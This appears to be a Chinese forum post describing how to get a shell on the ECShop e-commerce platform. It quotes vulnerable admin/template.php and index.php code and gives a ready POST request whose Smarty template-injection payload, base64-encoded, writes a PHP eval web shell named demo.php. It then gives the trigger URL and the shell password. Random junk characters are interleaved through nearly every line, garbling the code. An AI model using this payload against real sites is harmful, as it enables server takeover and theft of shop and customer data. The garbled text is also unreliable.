首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板1 V- q9 ~7 k4 C, W6 f
+ r0 N- p1 M8 f$ \ E
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
' X. A: {! ]. j. [9 i2 s但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
. `% b7 u! p5 Cadmin/template.php
* `; R' T( J6 r3 G/ j+ N
) ]. x B# ]9 L/ w0 y" K1 if ($_REQUEST['act'] == 'update_library') % r9 L3 B6 |/ c; W4 R C$ i# U' `: m
, v/ Q& O% I" h% p+ p
2 ( j ^( [: h2 }" Q7 [+ U
$ `1 f9 t$ w( u" o2 T: Z
3 {
+ d1 }7 q& V0 R2 i1 T4 w/ q
7 }8 W l3 I7 y* f4 f4 check_authz_json('library_manage');
7 b; W# N6 ]" u0 _
# b# D9 Q/ I( Y0 W5 ( T' f$ F' J1 N: e! p
7 L1 i! `5 E4 s/ {6 $html = stripslashes(json_str_iconv($_POST['html']));
3 e; R1 C/ s1 C) b) ?
+ v% j& E& I' @. X8 b6 b0 A( K$ \5 ~3 }7
% f( u5 D: E+ ^* F/ H4 U! V* U3 j+ r6 U* C3 o; l% E6 j2 E: \
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 8 O9 k A. O' A! M, f: p# S9 u, W
8 F4 o/ v$ I7 i- S& T y$ |
9 + m6 J* N1 y! Q: U. E3 p% D
" y3 d0 [$ G+ B& H10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 - T6 {2 w) k4 n( J3 m- I/ ~. a3 G
* ^9 ]2 V2 f) H8 u+ {
11
# S9 X* e/ ]- |- a6 U3 _1 P" b9 e3 R/ \+ t+ p
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); # r! z7 O$ r* u5 K+ l
) P$ U4 C# c3 O) ]& N9 V4 Z13 5 i* ]+ M$ I6 o& Z' E7 R
/ }3 u% X5 M. Y* Q* E. d+ c1 V
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
7 N! f- z# ?1 m8 s/ y
; J% ^, z6 t% P3 f5 O15 { {9 |" m5 {4 ~" `9 O1 o3 C1 g
. A; t3 i. S! C! Q h& \4 Y9 _16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 b) r. k. O1 s+ ^* r2 ]
5 N- Y- g- |% C0 V8 R" o17 make_json_result('', $_LANG['update_lib_success']); , z f, ^0 S' T b' U" L6 i7 e
$ i0 G+ X3 l9 c+ C18 } , Y% A0 ^8 q- B* {, B
* k* y$ k/ [3 q& J3 U
19 else : d' C/ c% m5 U t
# x# I% d n: G20 { / c3 F" _+ p2 J1 y" J" _* C$ G
# T" t4 D& m& f; w
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 9 _& B8 W5 A9 q5 m
- l$ }" F6 V* e22 }
! z+ l) F/ Q( i" T3 \4 b7 l3 m" ~- G2 L2 s
23 } 7 h6 t2 P1 [6 N: Q0 z& M
: L8 X7 ?" ~9 X n, C1 e# x
那么找个比较方便调用了模板的文件
2 G( e8 j% e& \ Q) W5 Bindex.php% Y! V# e6 {' c9 F( `5 @6 ^
$ D4 p5 e" L; G+ v6 E ]7 b4 {1 if ($act == 'cat_rec') 5 v! x }1 F$ v# O+ o
9 B$ y5 O$ p6 M1 _. q5 |
2 . T# \2 F. H. `- o; L# x' J$ |. M
% v0 P' N; h4 O6 [# r4 v
3 { * J6 a- M' C: y+ U- Y& I
8 v7 n3 x# P8 R5 |# v1 U4
. O( j; g" D" D! L4 y) h4 m% o. [0 q( G! f; r, V+ A: K" G
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
0 q1 Z& n& q% |2 _1 q( P
# v2 h) M0 n% }8 R! m! v6
. |9 [) g+ S4 t n% \; P# X% ^
) E" @8 ]4 @7 R- P- [9 O1 |7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; * Q: W' b( g8 T! r s0 ?6 U
6 |2 t2 V6 T/ c# _; ?% ~* t
8 " N, E" s4 g" e) l" {$ `" {
: G/ F$ n; z c( L
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
' {$ C S2 e. |- f2 b1 }! d! ?' \9 K2 Y# \3 |2 n/ e
10 # l, x8 Y1 ?8 o b7 Y; d! k
! n2 t! {; l- q, b& A/ K11 include_once('includes/cls_json.php');
- q! g& y. S' V. ~4 _4 n) s m4 K- b J/ k, }
12
% C& K+ ?; ~# @* P9 k2 p
1 E0 r% u7 Y F5 t13 $json = new JSON; ( E2 b3 c, `: L) X l8 p7 `
+ X* s. O9 `% m3 P6 e
14 $ A. K4 r' ^% _+ c( E9 l
+ D6 H2 r3 Y; T1 f15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
! F4 O# M! k) N) o! a$ X: B& Q0 C
9 \+ n3 i6 s0 ^) G5 ~16
) @3 ^. |2 g9 W6 X. w$ i' |/ h2 z, u5 e4 V% W
17 $children = get_children($cat_id);
) U9 p# ^- w' s5 [2 M5 l4 K `3 w5 a8 @% g2 ~( c
18 + i2 |- P* R3 ^7 D; Q* k$ x
" |/ u, X% u8 H/ Q: V# e19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 " _, p2 q2 \& R4 J# ]
: z6 T* y- ^6 ]. [% q+ }20
" v6 z; c# ^! k z# }" T/ E2 s! |+ s# l/ [* ?% u- t9 o
21 $smarty->assign('cat_rec_sign', 1);
4 @. T5 A- O. Y2 l8 y: p
( A% C0 g ^+ g22 9 z% y! h% P+ F2 K# j& d2 I
: ~& E4 _3 u9 p$ Y7 T. S
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ( j6 {5 M1 v# a
6 ]- f5 n$ l" x1 `24
) E: i0 L2 Y! j4 C& Z" T8 u4 B* E6 z1 f+ D! x& q3 `- r0 p2 ]
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ) U( O" X0 U0 w5 O* v
* ~% B* }0 p" A26
2 q+ Y' Q$ k; O( w" }
5 M1 K) n! A4 ^- w: f27 echo $rec_array[$rec_type];
* M: H( b, ]) z! C2 X( ] V; s; s5 E- z3 n" P1 ?% {- P; b: h0 H( M
28
& R( ^ W& d5 a- z7 C! j1 v0 e* J, j
29 die($json->encode($result)); ' E( o+ s0 T* ~5 G
' ]3 }& t7 V- o2 Y
30 ; t- D/ Q2 `0 k
, i/ n/ h {- O1 O! c31 }
' P1 u2 G, i2 L6 u6 K/ { s" [# L- S `- N( f
那么就有利用方法了
& U% P, j6 v \/ Y/ V8 ppost包到http://localhost/ec/admin/template.php?act=update_library9 K* y; B4 S8 X1 `: \, F
Post内容:8 N% I$ j& n1 ?- k/ o2 y
. ^8 U2 j% U g
- o$ t2 E6 n( h. v* P1 q: d6 l6 f1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. D6 m4 x4 c `: c; @4 i4 l% z# z& O% A8 m
然后访问http://localhost/ec/index.php?act=cat_rec4 R$ Q* v& ^1 g
1 j5 _4 b J& i' B& `6 T; s0 Lshel地址:http://localhost/ec/demo.php
) _" K# h% Z4 Y; [3 p+ L2 J1 D密码c
! G8 w* s( ]( R: x7 e8 n. o" O
|